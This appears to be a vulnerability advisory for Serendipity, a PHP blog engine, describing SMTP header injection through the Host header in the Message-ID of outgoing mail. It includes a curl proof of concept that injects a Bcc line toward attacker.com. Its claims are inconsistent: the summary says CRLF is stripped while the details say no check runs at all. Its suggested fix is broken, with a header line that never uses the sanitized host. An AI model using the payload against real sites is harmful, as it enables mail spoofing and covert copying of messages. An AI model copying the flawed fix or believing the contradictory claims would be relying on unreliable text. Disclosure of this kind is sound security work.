Serendipity has a Host Header Injection allows SMTP header injection via unvalidated HTTP_HOST in Message-ID email header
Summary
Serendipity inserts $_SERVER['HTTP_HOST'] directly into the Message-ID SMTP header without any validation beyond CRLF stripping. An attacker who can control the Host header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.
Details
In include/functions.inc.php:548:
```php
$maildata['headers'][] = 'Message-ID: <'
. bin2hex(random_bytes(16))
. '@' . $_SERVER['HTTP_HOST'] // ← unsanitized, attacker-controlled
. '>';
```
The existing sanitization function only blocks \r\n and URL-encoded variants:
```php
function serendipity_isResponseClean($d) {
return (strpos($d, "\r") === false && strpos($d, "\n") === false
&& stripos($d, "%0A") === false && stripos($d, "%0D") === false);
}
```
Critically, serendipity_isResponseClean() is not even called on HTTP_HOST before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter.
Email is triggered by actions such as:
- New comment notifications to blog owner
- Comment subscription notifications to subscribers
- Password reset emails (if configured)
PoC
```bash
# Trigger comment notification email with injected header
curl -s -X POST \
-H "Host: attacker.com>\r\nBcc: [email protected]\r\nX-Injected:" \
-d "serendipity[comment]=test&serendipity[name]=hacker&serendipity[email][email protected]&serendipity[entry_id]=1" \
http://[TARGET]/comment.php
```
Resulting malicious Message-ID header in outgoing email:
```
Message-ID: <[email protected]>
Bcc: [email protected]
X-Injected: >
```
Impact
An attacker can control the domain portion of the Message-ID header in all outgoing emails sent by Serendipity (comment notifications, subscriptions).
This enables:
- Identity spoofing — emails appear to originate from attacker-controlled domain
- Reply hijacking — some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure
- Email reputation abuse — attacker's domain embedded in legitimate mail headers
Suggested Fix
Sanitize HTTP_HOST before embedding in mail headers, and restrict to valid hostname characters only:
```php
$safe_host = preg_replace('/[^a-zA-Z0-9.\-]/', '',
parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST)
);
$maildata['headers'][] = 'Message-ID: ';
```
